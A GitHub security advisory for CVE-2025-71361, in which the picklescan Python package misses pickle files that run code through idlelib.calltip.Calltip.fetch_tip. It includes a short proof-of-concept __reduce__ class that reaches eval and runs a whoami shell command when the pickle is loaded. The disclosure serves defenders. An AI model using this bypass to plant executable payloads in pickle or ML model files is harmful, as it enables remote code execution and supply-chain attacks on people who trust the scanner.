GitHub Advisoryadvisory · PyPI
GHSA-8r4j-24qv-fmq9 Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
HIGH
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- Aliases
- CVE-2025-71361
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-95
- Reviewed
- 2025-08-26
Affected packages
• PyPI picklescan: < 0.0.29 → fixed in 0.0.29
Description
Summary
Using idlelib.calltip.Calltip.fetch_tip, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.calltip.Calltip.fetch_tip function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
```
class EvilCalltipFetchTip:
def __reduce__(self):
from idlelib.calltip import Calltip
# fetch_tip(expression) -> get_entity(expression) -> eval(expression)
return Calltip().fetch_tip, ("__import__('os').system('whoami')",)
```
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
Related
Alias · CVE (1)
- CVE-2025-71361 picklescan before 0.0.29 fails to detect malicious idlelib.calltip.Calltip.fetch_tip calls in pickle files, allowing remote code execution. vulnerability
Weakness · CWE (1)
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code weakness
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-8r4j-24qv-fmq9 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-71361 advisory
- https://github.com/mmaitre314/picklescan/commit/aecd11be98702caa9ba9b12189d91ad596a36114 web
- https://github.com/advisories/GHSA-8r4j-24qv-fmq9 advisory
- https://github.com/mmaitre314/picklescan package
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-1786.yaml web
- https://pypi.org/project/picklescan web
- https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-undetected-idlelib-calltip-calltip-fetch-tip web